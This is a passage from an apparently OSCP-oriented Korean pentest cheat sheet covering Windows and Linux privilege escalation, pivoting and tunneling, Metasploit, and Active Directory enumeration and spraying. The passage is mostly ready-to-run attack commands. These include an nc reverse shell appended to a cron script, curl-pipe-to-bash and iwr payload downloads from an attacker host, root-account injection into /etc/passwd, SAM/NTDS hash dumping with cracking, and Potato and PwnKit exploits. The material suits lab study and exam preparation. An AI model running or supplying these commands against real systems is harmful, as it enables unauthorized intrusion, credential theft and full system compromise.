2x86_64-w64-mingw32-gcc TextShaping.cpp -o TextShaping.dll -shared -lws2_32 -s
1# 악성 DLL 배포 + 서비스 재시작
2iwr -uri http://<LHOST>/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'
3Stop-Service FileZilla
4Start-Service FileZilla

► DLL 검색 순서: 실행파일 디렉토리 → System32 → Windows → PATH 순. ► Procmon 필터: Process Name = target.exe + Result = NAME NOT FOUND + Path ends with .dll.


6.7 Unquoted Service Path

1# 따옴표 없는 서비스 경로 탐색
2wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
1. .\PowerUp.ps1
2Get-UnquotedService
3
4# 경로 중간에 EXE 배치 (예: "C:\Program Files\Enterprise Apps\Current.exe")
5Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
6iwr -uri http://<LHOST>/shell.exe -OutFile "C:\Program Files\Enterprise Apps\Current.exe"
7Restart-Service GammaService

► C:\Program Files\My App\service.exe → C:\Program.exe 또는 C:\Program Files\My.exe 먼저 실행 시도.


6.8 예약된 작업

1schtasks /query /fo LIST /v
1# 특정 사용자 작업 검색
2schtasks /query /fo LIST /v | Select-String -Pattern "diana" -Context 10
3
4# 작업 바이너리 교체
5icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
6iwr -uri http://<LHOST>/shell.exe -OutFile "C:\Users\steve\Pictures\BackendCacheCleanup.exe"

► 스케줄 작업이 높은 권한으로 실행되는지 확인 (Run As User 컬럼).


6.9 Token Impersonation (Potato 계열)

1# SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege 있을 때
2# SigmaPotato
3iwr -uri http://<LHOST>/SigmaPotato.exe -OutFile SigmaPotato.exe
4.\SigmaPotato "net user dave4 lab /add"
5.\SigmaPotato "net localgroup Administrators dave4 /add"
6.\SigmaPotato "cmd /c type c:\users\administrator\Desktop\root.txt"
7
8# PrintSpoofer / GodPotato도 동일 패턴
9.\GodPotato -cmd "cmd /c whoami"

► whoami /priv에서 SeImpersonatePrivilege Enabled 확인 후 사용. ► IIS, MSSQL 서비스 계정에서 자주 발생.


6.10 SAM/SYSTEM/SECURITY 해시 추출

1# 레지스트리 하이브 저장 (SECURITY 포함해야 LSA Secrets 추출 가능)
2reg save HKLM\SAM      C:\Temp\SAM
3reg save HKLM\SYSTEM   C:\Temp\SYSTEM
4reg save HKLM\SECURITY C:\Temp\SECURITY
1# Kali에서 해시 추출 (SAM + LSA Secrets + DCC2 한 번에)
2impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
3
4# 원격 덤프 (로컬 Administrator 자격증명)
5impacket-secretsdump ./Administrator:'<PASS>'@<IP>
6# 도메인 prefix 붙이면 STATUS_LOGON_FAILURE → 반드시 ./Administrator 또는 HOST\Administrator 형식

secretsdump 결과 읽는 법

  • SAM 섹션 → 로컬 계정 NTLM 해시 (PTH 사용)
  • LSA Secrets → _SC_* 서비스 계정 평문 패스워드, DefaultPassword (AutoLogon 평문) ← 고가치
  • DCC2 ($DCC2$...) → 도메인 캐시 자격증명 → hashcat -m 2100 으로 크랙
  • DPAPI → 마스터 키 (mimikatz dpapi로 추가 복호화)
1# NTLM 해시 크랙 (m=1000)
2hashcat -m 1000 <HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
3
4# DCC2 (Domain Cached Credentials) 크랙 (m=2100) — LSA 덤프에서 발견 시
5hashcat -m 2100 '$DCC2$10240#<user>#<hash>' /usr/share/wordlists/rockyou.txt --force

► LSA DefaultPassword : AutoLogon 설정 시 평문 패스워드가 레지스트리에 저장됨. secretsdump 결과에서 DefaultPassword 항목 반드시 확인. ► DCC2 : 도메인 로그인 이력이 있는 머신에서 발견. 오프라인 크랙만 가능 (PTH 불가). ► SECURITY 하이브 없으면 SAM만 추출되고 LSA Secrets·DCC2 누락됨.


6.11 SeBackupPrivilege → NTDS.dit 추출 (DC)

 1# diskshadow 스크립트 작성 (Windows 줄바꿈 필요)
 2cat > ds.txt << 'EOF'
 3reset
 4set verbose on
 5set metadata C:\Temp\meta.cab
 6set context clientaccessible
 7set context persistent
 8begin backup
 9add volume C: alias cdrive
10create
11expose %cdrive% Z:
12end backup
13exit
14EOF
15
16# Linux에서 작성 후 Windows 줄바꿈으로 변환
17unix2dos ds.txt
18
19# Evil-WinRM으로 업로드 후 실행
20diskshadow /s C:\Temp\ds.txt
21
22# VSS 스냅샷에서 NTDS.dit 복사 (SeBackupPrivilege 필요)
23robocopy /B Z:\Windows\NTDS C:\Temp\ntds ntds.dit
24
25# 다운로드
26download ntds.dit
27download SYSTEM
28
29# Kali에서 해시 덤프
30impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

► SeBackupPrivilege : 파일 ACL 무시하고 읽기 가능. ► /B : Backup 모드 (ACL 우회). ntds.dit는 실행 중 잠겨 있어 VSS 스냅샷 경유 필수. ► 결과에서 Administrator 해시 획득 → PTH로 도메인 장악.


7. Linux 권한상승

7.1 초기 열거

 1# 사용자/권한
 2id
 3sudo -l         # sudo 가능한 명령 목록
 4
 5# 시스템 정보
 6cat /etc/issue
 7cat /etc/os-release
 8uname -r        # 커널 버전 (익스플로잇 검색용)
 9arch
10
11# 프로세스 모니터링 (cron 등 자동 실행 프로세스 탐색)
12watch -n 1 "ps -aux | grep pass"
13
14# 네트워크
15ss -anp
16
17# 마운트/디스크
18cat /etc/fstab
19mount
20lsblk
21
22# 환경변수 (PATH 하이재킹 힌트)
23env
24
25# 쓰기 가능 디렉토리
26find / -writable -type d 2>/dev/null
27
28# SUID 비트 검색
29find / -perm -u=s -type f 2>/dev/null
30
31# 설치 패키지
32dpkg -l
33
34# 커널 모듈 정보
35lsmod
36/sbin/modinfo libata

7.2 Cron 열거

1ls -lah /etc/cron*
2crontab -l
3sudo crontab -l
4grep "CRON" /var/log/syslog

► cron 스크립트가 쓰기 가능하면 리버스 셸 페이로드 삽입 가능.


7.3 SUID / Capabilities

 1# SUID 목록
 2find / -perm -u=s -type f 2>/dev/null
 3
 4# Capabilities 확인
 5/usr/sbin/getcap -r / 2>/dev/null
 6
 7# perl cap_setuid 악용
 8perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
 9
10# gdb cap_setuid 악용
11gdb -nx -ex 'python import os; os.setuid(0); os.system("/bin/sh")' -ex quit
12
13# GTFOBins 패턴: find
14find . -exec /bin/sh -p \; -quit

► cap_setuid+ep 가진 바이너리 → uid 0으로 변경 가능. ► GTFOBins(gtfobins.github.io)에서 SUID·sudo·capabilities 악용법 검색.


7.4 쓰기 가능 Cron 스크립트 → 리버스 셸

1echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4444 >/tmp/f" >> /etc/cron.d/user_backups.sh

7.5 /etc/passwd 쓰기 가능 → 루트 추가

1# 패스워드 해시 생성
2openssl passwd w00t
3
4# /etc/passwd에 UID 0 계정 추가
5echo "root3:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
6su root3

► /etc/passwd에 쓰기 권한 있으면 새 루트 계정 추가 가능.


7.6 Sudo 악용

1# tcpdump -z 옵션 익스플로잇
2TF=$(mktemp) && echo 'id' > $TF && chmod +x $TF && sudo tcpdump -ln -i lo -w /tmp/cap.pcap -W 1 -G 1 -z $TF -Z root
3
4# gcc -wrapper
5sudo gcc -wrapper /bin/sh,-s .
6
7# find SUID -exec
8find . -exec /bin/sh -p \; -quit

► sudo -l 결과를 GTFOBins에서 검색해 악용 방법 확인.


7.7 커널 익스플로잇

 1# 검색
 2searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4."
 3
 4# 컴파일 + 실행
 5cp /usr/share/exploitdb/exploits/linux/local/45010.c .
 6gcc cve-2017-16995.c -o cve-2017-16995
 7chmod +x cve-2017-16995
 8./cve-2017-16995
 9
10# CVE-2021-4034 PwnKit
11gcc -shared -fPIC -nostartfiles -o pwnkit.so pwnkit.c
12gcc -o cve-2021-4034 cve-2021-4034.c
13echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
14mkdir -p "GCONV_PATH=."
15cp $(which true) "GCONV_PATH=./pwnkit.so:."
16./cve-2021-4034

7.8 자동화 도구

1# LinPEAS (가장 우선)
2python3 -m http.server 80
3curl http://<LHOST>/linpeas.sh | bash
4# 또는
5wget http://<LHOST>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee /tmp/lpe.txt
6
7# unix-privesc-check
8unix-privesc-check standard > out.txt
9cat out.txt | grep warning

7.9 sudo -l GTFOBins (OSCP 최빈출)

흐름: sudo -l → 실행 가능한 바이너리 확인 → GTFOBins에서 패턴 적용

 1sudo -l
 2# (ALL) NOPASSWD: /usr/bin/python3    → 가장 흔함
 3# (ALL) NOPASSWD: /usr/bin/vim
 4# (ALL) NOPASSWD: /usr/bin/find
 5# (ALL) NOPASSWD: /usr/bin/awk
 6# (ALL) NOPASSWD: /usr/bin/env
 7# (ALL) NOPASSWD: /usr/bin/perl
 8# (ALL) NOPASSWD: /usr/bin/ruby
 9# (ALL) NOPASSWD: /usr/bin/nmap       → 구버전
10# (ALL) NOPASSWD: /usr/bin/less
11# (ALL) NOPASSWD: /usr/bin/man
12# (ALL) NOPASSWD: /usr/bin/git
13# (ALL) NOPASSWD: /usr/bin/tar
 1# python / python3
 2sudo python3 -c 'import os; os.system("/bin/bash")'
 3sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
 4
 5# vim / vi
 6sudo vim -c ':!/bin/bash'
 7sudo vim -c ':set shell=/bin/bash' -c ':shell'
 8
 9# nano
10sudo nano
11# Ctrl+R → Ctrl+X → reset; bash 1>&0 2>&0
12
13# find
14sudo find . -exec /bin/bash \; -quit
15sudo find / -name test -exec /bin/bash \;
16
17# awk
18sudo awk 'BEGIN {system("/bin/bash")}'
19
20# env
21sudo env /bin/bash
22
23# perl
24sudo perl -e 'exec "/bin/bash";'
25
26# ruby
27sudo ruby -e 'exec "/bin/bash"'
28
29# less / man
30sudo less /etc/passwd
31# !bash  (less 내부에서)
32sudo man ls
33# !/bin/bash
34
35# nmap (구버전 --interactive)
36sudo nmap --interactive
37# !sh
38
39# tar
40sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
41
42# git
43sudo git -p help config
44# !/bin/bash
45
46# zip / unzip
47TF=$(mktemp -u)
48sudo zip $TF /etc/hosts -T -TT 'bash #'
49sudo unzip -K sgml /dev/null
50
51# tee (파일 쓰기 → /etc/sudoers 수정)
52echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers

7.10 SUID GTFOBins 패턴

 1# SUID 목록 전체
 2find / -perm -u=s -type f 2>/dev/null
 3
 4# bash (SUID 설정된 경우)
 5/bin/bash -p   # -p 없으면 권한 drop!
 6
 7# cp → /etc/passwd 덮어쓰기
 8openssl passwd -1 -salt xyz newpass
 9echo 'newroot:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
10cp /tmp/passwd /etc/passwd
11su newroot
12
13# find
14find . -exec /bin/sh -p \; -quit
15
16# python (SUID)
17python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
18
19# vim (SUID)
20vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
21
22# nmap (SUID 구버전)
23nmap --interactive
24!sh
25
26# pkexec (PwnKit CVE-2021-4034)
27# 취약 버전: 0.105 이하
28pkexec --version
29# 익스플로잇: github.com/berdav/CVE-2021-4034

7.11 Cron PATH 하이재킹

원리: crontab에 전체 경로 없이 명령 실행 시, PATH 앞 디렉토리에 같은 이름 파일 생성하면 실행됨.

 1# /etc/crontab 확인
 2cat /etc/crontab
 3# PATH=/home/user:/usr/local/sbin:/usr/local/bin:...
 4# * * * * * root overwrite.sh   ← 전체 경로 없음!
 5
 6# 같은 이름의 악성 스크립트 생성
 7cat > /home/user/overwrite.sh << 'EOF'
 8#!/bin/bash
 9cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
10EOF
11chmod +x /home/user/overwrite.sh
12
13# cron 실행 대기 후
14/tmp/rootbash -p

7.12 NFS no_root_squash

원리: NFS 공유에 no_root_squash 옵션이 있으면, 클라이언트 root가 서버에서도 root. Kali에서 root로 SUID 파일 생성 → 피해 서버에서 실행 → root 획득.

 1# 서버에서 확인
 2cat /etc/exports
 3# /srv/share *(rw,no_root_squash)
 4
 5# Kali에서 마운트 + SUID 설정
 6showmount -e <TARGET_IP>
 7mkdir /tmp/nfs
 8mount -t nfs <TARGET_IP>:/srv/share /tmp/nfs
 9
10# SUID bash 복사
11cp /bin/bash /tmp/nfs/rootbash
12chmod +s /tmp/nfs/rootbash
13
14# 서버에서 실행
15/srv/share/rootbash -p

7.13 Linux PrivEsc 체크리스트 (시험용)

[ ] sudo -l → GTFOBins 검색 (가장 먼저!)
[ ] find / -perm -u=s -type f 2>/dev/null → GTFOBins
[ ] /usr/sbin/getcap -r / 2>/dev/null → cap_setuid 확인
[ ] cat /etc/crontab + ls /etc/cron* → 쓰기 가능 스크립트?
[ ] cat /etc/passwd → 쓰기 가능? (echo root2::0:0::/root:/bin/bash >> /etc/passwd)
[ ] find / -writable -type f 2>/dev/null | grep -v proc
[ ] cat /etc/exports → no_root_squash?
[ ] id → docker/lxd/disk 그룹?
[ ] env → LD_PRELOAD 설정 가능?
[ ] linpeas.sh 실행 (위 다 확인 후)
[ ] uname -r → 커널 익스플로잇 (최후 수단)

우선순위: sudo -l > SUID > Capabilities > Cron > /etc/passwd > NFS > 커널


7.14 취약 바이너리 / 서비스 힌트

SUID에서 자주 나오는 CVE 바이너리

바이너리확인 방법CVE / 익스플로잇
pkexecpkexec --version (0.105 이하)CVE-2021-4034 (PwnKit) - 거의 모든 Linux
enlightenment_sysenlightenment --version (0.25.3 이하)CVE-2022-37706
screenscreen --version (4.5.0)CVE-2017-5618
exim4exim --version버전별 다양한 CVE (searchsploit exim)
sudosudo --version (1.8.31 이하)CVE-2021-3156 (Baron Samedit)
phpphp --versionSUID php → php -r "pcntl_exec('/bin/bash',['-p']);"
nodenode --versionSUID node → node -e "require('child_process').spawn('/bin/sh',['-p'],{stdio:'inherit'})"
pythonpython --versionSUID python → python -c "import os;os.setuid(0);os.system('/bin/bash')"
1# pkexec (PwnKit) - 가장 흔한 커널/시스템 LPE
2# 설치 여부 확인
3which pkexec && pkexec --version
4
5# GitHub에서 CVE-2021-4034 검색 → berdav/CVE-2021-4034
6gcc -shared -fPIC -o evil.so evil.c
7./cve-2021-4034

Capabilities (getcap)에서 자주 나오는 것

바이너리 + Capability익스플로잇
python3 cap_setuid+eppython3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl cap_setuid+epperl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash"'
ruby cap_setuid+epruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
node cap_setuid+epnode -e "process.setuid(0); require('child_process').spawn('/bin/bash',{stdio:'inherit'})"
vim cap_setuid+epvim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
tar cap_dac_read_searchtar xf /etc/shadow --to-command=cat
tcpdump cap_net_raw네트워크 스니핑 (패스워드 캡처)

특수 그룹 (id에서 확인)

그룹익스플로잇
dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
lxd / lxcLXD 컨테이너로 호스트 / 마운트 → root 파일 접근
diskdebugfs /dev/sda1 → 파일시스템 직접 읽기 (shadow 등)
adm/var/log 읽기 → 패스워드/토큰 로그에서 탈취
shadowcat /etc/shadow → hashcat 크랙
 1# docker 그룹 LPE (가장 빠름)
 2docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 3# → root 쉘
 4
 5# lxd 그룹 LPE
 6# GitHub: lxd-alpine-builder
 7lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
 8lxc init alpine privesc -c security.privileged=true
 9lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
10lxc start privesc
11lxc exec privesc /bin/sh
12# /mnt/root 에서 호스트 파일시스템 접근

서비스 기반 CVE (실행 중인 서비스 버전 확인)

서비스확인대표 CVE
MySQL root 실행ps aux | grep mysqlUDF 인젝션으로 시스템 명령 실행
Apache 구버전apache2 -vCVE-2021-41773(2.4.49), CVE-2021-42013(2.4.50)
OpenSSH 구버전ssh -Vuser 열거, 일부 버전 RCE
Sudo 구버전sudo --versionCVE-2021-3156, CVE-2019-14287
CUPScupsd -vCVE-2024-47176 (2024년 신규)
1# 실행 중인 서비스 + 버전 확인
2ps aux
3netstat -tlnp 2>/dev/null || ss -tlnp
4dpkg -l | grep -i "apache\|mysql\|nginx\|ssh\|sudo"
5
6# 내부 포트 (외부 미노출 서비스)
7ss -tlnp | grep 127.0.0.1
8# → 포트포워딩으로 Kali에서 접근 후 CVE 확인
9ssh -L 8080:127.0.0.1:8080 user@target

커널 버전별 주요 CVE (최후 수단)

커널 버전CVE이름
5.8 ~ 5.16.11CVE-2022-0847Dirty Pipe
2.6.22 ~ 3.9CVE-2016-5195Dirty COW
3.x ~ 4.x UbuntuCVE-2017-16995eBPF LPE
전반적CVE-2021-4034PwnKit (pkexec)
1uname -r
2# → searchsploit linux kernel <버전>
3# → GitHub에서 버전 검색

8. Port Redirection / SSH 터널링

8.1 Socat 포트 포워딩

1# 외부 포트 → 내부 서비스 포워딩
2socat -ddd TCP-LISTEN:2346,fork TCP:<INTERNAL_IP>:5432

► -ddd : 디버그 출력. fork : 동시 다중 연결 허용. ► 피봇 호스트에서 내부망 서비스 외부 노출 시 사용.


8.2 SSH Local Port Forwarding (-L)

1# 로컬 4456 → 원격 내부망 445
2ssh -N -L 0.0.0.0:4456:<INTERNAL_IP>:445 <USER>@<PIVOT_IP>
3
4# 사용
5smbclient -p 4456 -L //127.0.0.1/ -U <USER> --password=<PASS>

► -N : 명령 실행 없이 터널만 유지. -L [bind_addr:]local_port:target_host:target_port. ► 0.0.0.0 : 모든 인터페이스에서 수신 (다른 머신도 사용 가능).


8.3 SSH Dynamic Port Forwarding (-D, SOCKS5)

1# SOCKS5 프록시 생성 (포트 9999)
2ssh -N -D 0.0.0.0:9999 <USER>@<PIVOT_IP>
3
4# /etc/proxychains4.conf 마지막 줄
5# socks5 127.0.0.1 9999
6
7# proxychains로 내부망 접근
8proxychains smbclient //<INTERNAL_IP>/share -U <USER> --password=<PASS>
9sudo proxychains nmap -p 445 -sT <INTERNAL_IP>

► nmap은 -sT (TCP connect scan)만 proxychains에서 동작. SYN 스캔(-sS) 불가.


8.4 SSH Remote Port Forwarding (-R)

1# Kali SSH 서버 활성화
2sudo systemctl start ssh
3
4# 피봇 호스트에서 실행 → Kali 2345로 내부 DB 노출
5ssh -N -R 127.0.0.1:2345:<INTERNAL_IP>:5432 kali@<KALI_IP>
6
7# Kali에서 접속
8psql -h 127.0.0.1 -p 2345 -U postgres

► -R : 원격(Kali) 머신에 포트 개방. 피봇 호스트가 외부 접근 불가인 경우 유용.


8.5 SSH Remote Dynamic Forwarding

1# 피봇 호스트에서 실행 → Kali 6565에 SOCKS5 개방
2ssh -N -R 6565 kali@<KALI_IP>
3
4# Kali /etc/proxychains4.conf: socks5 127.0.0.1 6565

8.6 sshuttle (VPN-like 투명 라우팅)

1sshuttle -r <USER>@<PIVOT_IP>:<PORT> <INTERNAL_SUBNET>/24 <ANOTHER_SUBNET>/24

► root 불필요. iptables로 내부망 전체 트래픽 자동 터널링. ► proxychains 없이 일반 명령어 그대로 사용 가능.


8.7 Windows Netsh 포트 포워딩

 1# IPv4 → IPv4 포워딩
 2netsh interface portproxy add v4tov4 listenport=2222 listenaddress=<WIN_IP> connectport=22 connectaddress=<INTERNAL_IP>
 3
 4# 방화벽 허용
 5netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<WIN_IP> localport=2222 action=allow
 6
 7# 확인
 8netsh interface portproxy show all
 9netstat -anp TCP | find "2222"
10
11# 정리
12netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
13netsh interface portproxy del v4tov4 listenport=2222

1C:\Windows\Temp\plink.exe -ssh -l kali -pw kali -R 127.0.0.1:9833:127.0.0.1:3389 <KALI_IP>

► Windows에서 Kali로 RDP(3389)를 리모트 포워딩. Kali에서 rdesktop 127.0.0.1:9833.


9. DPI 우회 터널링

9.1 Chisel (HTTP over SOCKS)

 1# Kali: reverse 모드 서버
 2chisel server --port 8080 --reverse
 3
 4# 피해자: 클라이언트 (R:socks → Kali 1080에 SOCKS5 생성)
 5/tmp/chisel client <KALI_IP>:8080 R:socks
 6
 7# 사용 (proxychains4.conf: socks5 127.0.0.1 1080)
 8ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' <USER>@<INTERNAL_IP>
 9
10# 포트 확인
11ss -ntplu

► HTTP로 트래픽 위장 → 방화벽/DPI 우회. ► R:socks : reverse SOCKS5. 피해자가 아웃바운드로 Kali에 연결.


9.2 DNS 터널링 (dnscat2)

1# 공격자(서버) - 도메인 권한 위임 필요
2dnscat2-server feline.corp
3
4# 피해자(클라이언트)
5./dnscat feline.corp

► DNS 쿼리로 데이터 터널링. 포트 53 아웃바운드만 열려있을 때.


10. Metasploit

10.1 데이터베이스 / 워크스페이스

1sudo msfdb init
2sudo systemctl enable postgresql
3sudo msfconsole -q
workspace -a pen200    # 워크스페이스 생성
db_status              # DB 연결 확인
db_nmap 192.168.x.x    # 스캔 결과 DB 저장
hosts                  # 저장된 호스트 목록
services -p 8000       # 특정 포트 서비스 조회

10.2 모듈 검색

search type:auxiliary smb
search type:exploit name:eternalblue
search Apache 2.4.49
use auxiliary/scanner/ssh/ssh_login
info
show options

10.3 Exploit 실행 + 세션

use exploit/multi/http/apache_normalize_path_rce
set payload linux/x64/shell_reverse_tcp
set SSL false
set RPORT 80
set RHOSTS <IP>
run

sessions -l           # 세션 목록
sessions -i 1         # 세션 재진입

10.4 msfvenom (장 참조)

# handler 자동 실행
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost <IP>; set lport 4444; set AutoRunScript post/windows/manage/migrate; exploit"

10.5 Meterpreter 명령

sysinfo         # 시스템 정보
getuid          # 현재 사용자
getsystem       # 권한상승 시도
ps              # 프로세스 목록
migrate 7696    # 프로세스 이주 (안정성/권한)
background      # 백그라운드
download /etc/passwd   # 파일 다운로드
upload /tmp/shell.exe C:\Temp\   # 파일 업로드
search -f passwords*  # 파일 검색

10.6 UAC 바이패스 / Kiwi / Post

# UAC 바이패스
use exploit/windows/local/bypassuac_sdclt
set SESSION <N>
run

# Kiwi (mimikatz)
load kiwi
creds_all
creds_msv

# 라우팅 (Meterpreter 피봇)
use multi/manage/autoroute
set SESSION <N>
run

# SOCKS 프록시
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j

10.7 Resource 스크립트

 1# /home/kali/listener.rc
 2cat > /home/kali/listener.rc << 'EOF'
 3use exploit/multi/handler
 4set PAYLOAD windows/meterpreter_reverse_https
 5set LHOST <KALI_IP>
 6set LPORT 443
 7set AutoRunScript post/windows/manage/migrate
 8set ExitOnSession false
 9run -z -j
10EOF
11
12sudo msfconsole -r /home/kali/listener.rc

11. Active Directory 열거

11.1 BloodHound 수집

1# Python 버전 (Kali에서, 도메인 크레덴셜 필요)
2python3 bloodhound.py -u <USER> -p '<PASS>' -ns <DC_IP> -c all -d <DOMAIN> -workers 1
3
4# SharpHound (Windows에서)
5.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\
6# 또는 PS 모듈
7Import-Module .\Sharphound.ps1
8Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\<USER>\Desktop\ -OutputPrefix "audit"
1# Kali BloodHound GUI
2sudo neo4j start
3bloodhound
4# 기본 자격증명: admin / admin
5# ZIP 파일 드래그앤드롭으로 import

► BloodHound 분석 우선순위:

  1. 현재 소유 계정 Mark as Owned
  2. Shortest Paths to Domain Admins (from Owned)
  3. 각 노드 우클릭 → Outbound Object Control
  4. 새 크레덴셜/호스트 소유 시 → Mark as Owned 추가 후 재분석

11.2 ACL 기반 공격 체인 (BloodHound 발견 시)

GenericAll  → net rpc password로 패스워드 변경 (또는 Rubeus.exe setpassword)
GenericWrite → setspn으로 임시 SPN 추가 → Kerberoasting
ForceChangePassword → net rpc password로 패스워드 강제 변경
DCSync (GetChanges+GetChangesAll) → impacket-secretsdump -just-dc-user
1# GenericAll: 타겟 계정 패스워드 변경
2net rpc password "<TARGET_USER>" "<NEW_PASS>" -U "<DOMAIN>/<ATTACKER_USER>%<PASS>" -S <DC_IP>
3
4# 접속 확인
5evil-winrm -i <DC_IP> -u <TARGET_USER> -p '<NEW_PASS>'
1# GenericWrite: 임시 SPN 추가 → Kerberoasting
2setspn -S http/<TARGET_USER>.<DOMAIN> <TARGET_USER>

11.3 net.exe 수동 열거

1net user /domain
2net user <username> /domain
3net group /domain
4net group "Domain Admins" /domain
5net accounts

11.4 PowerView

 1Import-Module .\PowerView.ps1
 2
 3Get-NetDomain
 4Get-NetUser | select cn,pwdlastset,lastlogon
 5Get-NetGroup | select cn
 6Get-NetGroup "Sales Department" | select member
 7Get-NetComputer | select operatingsystem,dnshostname
 8
 9# 로컬 관리자 권한 확인 (현재 사용자가 관리자인 호스트)
10Find-LocalAdminAccess
11
12# SPN 사용자 (Kerberoasting 후보)
13Get-NetUser -SPN | select samaccountname,serviceprincipalname
14
15# 객체 ACL (GenericAll 등)
16Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
17
18# SID → 이름 변환
19Convert-SidToName S-1-5-21-...-1104
20
21# 공유 검색
22Find-DomainShare

11.5 ldapdomaindump / nltest

1# ldapdomaindump — LDAP 전체 덤프 (사용자·그룹·컴퓨터·도메인 정책)
2ldapdomaindump -u '<DOMAIN>\<USER>' -p '<PASS>' <DC_IP>
3proxychains ldapdomaindump -u '<DOMAIN>\<USER>' -p '<PASS>' <DC_IP>
4
5# 결과 파일 (현재 디렉토리)
6cat domain_users.grep | grep -i "admin"   # 관리자 그룹 필터
7cat domain_users.grep | grep -i "domain"  # Domain Admins 확인
1# nltest — DC 목록 조회 (도메인 내부에서)
2nltest /dclist:<DOMAIN>
3
4# systeminfo로 도메인·DC 확인
5systeminfo | findstr /i "domain"
6nslookup <DOMAIN>

► ldapdomaindump : BloodHound 없이도 도메인 구조 빠르게 파악 가능. domain_users.grep 에서 특권 계정 필터링.


11.6 GPO Abuse (SharpGPOAbuse)

1# GPO 목록 확인
2Get-GPO -All
3
4# 현재 사용자의 GPO 권한 확인 (GpoEditDeleteModifySecurity 있으면 악용 가능)
5Get-GPPermission -All -Name "Default Domain Policy"
1# SharpGPOAbuse — GPO에 로컬 관리자 추가
2iwr http://<KALI>/SharpGPOAbuse.exe -Outfile SharpGPOAbuse.exe
3.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <USER> --GPOName "Default Domain Policy"
4
5# GPO 즉시 갱신 + 세션 재접속 필요
6gpupdate /force

► GpoEditDeleteModifySecurity 권한 있는 계정으로 GPO 수정 → 전체 도메인 머신에 로컬 관리자 추가 가능. ► BloodHound 엣지: GpLink, WriteGpLink, GpoEdit 등 확인.


11.7 SYSVOL / GPP 패스워드

1ls \\<DC>\sysvol\<DOMAIN>\Policies\
2cat \\<DC>\sysvol\<DOMAIN>\Policies\oldpolicy\old-policy-backup.xml
1# GPP cpassword 복호화
2gpp-decrypt "<cpassword_value>"

► Groups.xml, Services.xml, Scheduledtasks.xml 등에 cpassword 존재 가능.


11.8 SMB / LDAP / RDP Credential Spray (새 크레덴셜 획득 시 루틴)

 1# 단일 확인
 2nxc smb <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 3nxc winrm <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 4nxc rdp <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 5nxc ldap <IP> -u <USER> -p '<PASS>' -d <DOMAIN>
 6
 7# 로컬 계정으로 인증 (도메인 계정 아닐 때 필수)
 8nxc smb <IP> -u Administrator -p '<PASS>' --local-auth
 9crackmapexec smb <IP> -u Administrator -p '<PASS>' --local-auth
10
11# PTH
12nxc smb <IP> -u <USER> -H <NTLM_HASH> -d <DOMAIN>
13
14# 범위 스프레이 (새 크레덴셜 얻을 때마다 전체 대입)
15for proto in smb winrm rdp ldap; do
16    nxc $proto 192.168.x.0/24 -u <USER> -p '<PASS>' -d <DOMAIN> 2>/dev/null | grep -i "pwn3d\|success\|+"
17done
18
19# 공유 열거
20nxc smb <IP> -u <USER> -p '<PASS>' -d <DOMAIN> --shares

► [+] : 인증 성공. (Pwn3d!) : 로컬 관리자 권한. ► UPN 형식(user@domain)이 잘 먹힐 때도 있음.


12. AD 인증 공격

12.1 Kerberos 시간 동기화 (인증 오류 방지)

1# DC 시간 확인 (evil-winrm 세션에서)
2(Get-Date).ToUniversalTime.ToString("yyyy-MM-dd HH:mm:ss")
3
4# Kali 시간 동기화
5sudo timedatectl set-ntp off
6sudo date -s "2026-08-13 13:39:40"
7
8# 또는 ntpdate
9sudo ntpdate <DC_IP>

► Kerberos는 ±5분 이상 시간 차이 시 인증 실패. impacket 툴 사용 전 반드시 확인.


12.2 패스워드 스프레이 (AD Lockout 주의)

1# Windows: Kerbrute
2.\kerbrute_windows_amd64.exe passwordspray -d <DOMAIN> .\user.txt "<PASS>"
3
4# Spray-Passwords.ps1
5.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
1# CrackMapExec / NetExec
